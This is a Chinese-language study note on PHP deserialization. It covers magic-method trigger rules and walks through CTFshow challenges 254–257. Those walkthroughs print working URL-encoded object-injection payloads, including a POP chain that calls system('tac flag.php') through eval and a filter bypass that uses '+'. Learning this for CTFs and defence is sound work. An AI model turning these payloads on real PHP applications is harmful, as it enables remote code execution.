060-WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改
知识点:
1、PHP-反序列化-应用&识别&函数
2、PHP-反序列化-魔术方法&触发规则
3、PHP-反序列化-联合漏洞&POP链构造
在实战情况下,是不需要知道这些具体分析的,都是利用工具去扫一些框架爆出的反序列话漏洞直接利用即可。
学这些具体分析就是为了以后往漏洞挖掘方向发展或者打CTF比赛及面试会被问
1、PHP-DEMO1-序列化和反序列化
为什么会产生序列化?
为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递,不可能整个椅子打包发送,这是非常不方便的,所以就要对椅子进行序列化处理,让椅子分成很多部分在一起打包发送,到目的后重新组装,也就是反序列化处理)
什么是反序列化操作? - 类型转换
- PHP & JavaEE & Python(见图)
序列化:对象转换为数组或字符串等格式
序列化(Serialization):
把“复杂的数据结构(如数组、对象)”转换成一个字符串,方便你:
- 存进文件
- 放进数据库
- 在网络上传输(如 Cookie、Session、API)
不能直接把“数组”或“对象”这样的复杂数据,塞进一个只支持字符串的地方(比如 Cookie)。
为什么不能直接把数组或对象塞进只支持字符串的地方?
- 本质问题:类型不兼容
PHP 的数组、对象是内存中的复杂结构,比如:
- 数组有键名、键值、可能还嵌套其他数组
- 对象有属性、方法、类名等元信息
而像 Cookie、数据库字段、URL 参数,这些地方只能存储字符串类型(即文本)。
所以你不能直接把这样的“结构”放进去,比如:
setcookie("user", ['name' => 'Tom']); // ❌ 错误!数组不能直接当 cookie 值
反序列化(Unserialization):
是序列化的逆操作——把字符串还原成原来的数据结构
serialize() //将对象转换成一个字符串
unserialize() //将字符串还原成一个对象
2、PHP-DEMO2-魔术方法触发规则
常见的php魔术方法
__construct():
- //当对象new的时候会自动调用
- 当new Test实例化对象 触发魔术方法_construct() 输出__construct()初始化
unset()
是 PHP 的一个语言结构,用于销毁变量,也就是说,它会让一个变量“消失”。
__destruct()
- //当对象被销毁时会被自动调用
__destruct()
是对象销毁时自动触发的魔术方法。你没有主动销毁对象$test
,但当脚本结束时 PHP 自动回收内存,系统帮你调用了__destruct()
,所以会输出那一行。
__sleep()
- : //serialize()序列化执行时被自动调用
__wakeup()
-
//unserialize()反序列化时会被自动调用
-
这个和__sleep()截然相反
__invoke()
- : //把对象当作函数调用时触发
__toString()
- : //把对象当作字符串使用时触发
原因详解:为什么 __toString()
会被自动调用?
- \1.
echo
/ 字符串上下文要求是字符串类型 - 在 PHP 中,
echo
是一个语言结构,它只能输出字符串。所以当你:echo $a - 其中
$a
是一个对象,PHP 必须把它转换成字符串,否则就会报错。
__call():
- //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__get()
- 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
__ set()
-
魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
-
__set():设置对象不存在的属性或无法访问(私有)的属性时调用
-
__set($name, $value)* 用来为私有成员属性设置的值* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
__isset()
- __检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
- name没被调用的原因是因为name是私有属性
-
这里因为name是私有属性所以不可访问 并且不可访问属性还使用了isset()所以调用了__isset()魔术方法显示123
-
为什么echo empty($person->sex) 为1
原因是:重写了
__isset()
魔术方法 PHP 做了下面这些步骤:- 检查
$person->sex
能不能访问; sex
是公共属性,所以可以访问,不走__isset()
;- 但出于一致性,PHP 会调用
__isset()
方法来判断属性是否存在; - 你的
__isset()
方法返回:
return isset($this->$content);
- $content
是
'sex' - $this->$content
相当于
$this->sex,值是
"男" - 所以:
isset("男")
是 true
- 但是
empty()
要的是:如果isset
是 false 或者值是 空的值(如 0, "", null),那就返回 flase。 - 可这里:虽然值是
"男"
,但是你的__isset()
返回的是 true,
- 但 PHP 会在你重写了
__isset()
之后只看返回值,不再检查值本身是否为空 - 也就是说
empty()
依赖__isset()
的返回值判断“是否存在”,然后认为这个变量的值是 未定义的或不可用的
所以最终 PHP 认为这个变量是空的,
empty()
返回了true
,于是输出1
- 检查
__unset()
- 在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
3、演示案例-PHP-DEMO3-反序列化漏洞产生
序列化漏洞产生原理
简单案例
- 这里没有调用类所以无法触发 __destruct()方法 ipconfig没有被执行
- 调用了类 出发__destruct方法
反序列化漏洞如何产生
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。
简单案例
- 将要执行的代码进行序列化为
O:1:"B":1:{s:3:"cmd";s:3:"ver";}
- 然后打开3.php执行
O:1:"B":1:{s:3:"cmd";s:3:"ver";}
因为这里是unserialize 将我们的序列化的代码进行反序列化为了ver所以造成了命令执行
4、演示案例-PHP-CTFSHOW-POP触发链构造
-反序列化常见起点(见图)
-反序列化常见跳板(见图)
-反序列化常见终点(见图)
254-对象引用执行逻辑
-
从代码分系可以看到如果想要打印$flag必须触发vipOneKeyGetFlag()方法
-
触发vipOneKeyGetFlag()的条件是里面的if($this->isVip)如果要触发if的条件必须要得到checkVip()的返回值
-
checkVip()触发要让if($user->login($username,$password))触发去执行 if($user->checkVip())
-
但是这里的checkVip()里面的变量$isVip为flase 所以要让他为true得满足if($this->username=$u&&$this->password=$p)条件就能染眉膏isvip为true
255-反序列化变量修改
- 用反序列化cookie接受user
- 用user接受password和username 触发login
- login方法返回username和password的结果 断真假
- 如果为真进入下面的if($user->checkVip())调用 $this->checkvvip() 但是这里的$isvip为flase 所以我们要让他为true
- 我们在这里对public $isVip=flase;进行序列化
O:11:"ctfShowUser":1:{s:5:"isVip";b:0;}
- 但是这里存在“ : 等存在许多干扰 url 所以要对传进去的cookie的值进行url编码
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
256-反序列化参数修改
- 这一关比上关多了一个判断值if($this->username!==$this->password)
- 要去传进去的username和password不想等
- 修改username和password属性的值重新序列化
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22111111%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22222222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
257-反序列化参数修改&对象调用逻辑
- 这里接受方法和上面的一样重点看上面两个魔术方法
- __construct当对象new的时候会自动调用 ___destruct当对象被销毁时会被自动调用 在这里 destruct一定会被调用
- destruct里面会调用$this->class->getInfo(); 这里clase等于info调用此类里面的getInfo方法
- 在这里backDoor类里面有eval($this->code)代码执行 我们需要修改里面的private 属性为public 属性
- 让$class=backDoor 调用类执行里面的getinfo方法
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
257-反序列化参数修改&对象调用逻辑
- 这关代码和上面的差不多不同的是这关对:进行了过滤 还要将private $class 替换为public $class
- 使用replace替换掉里面:
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D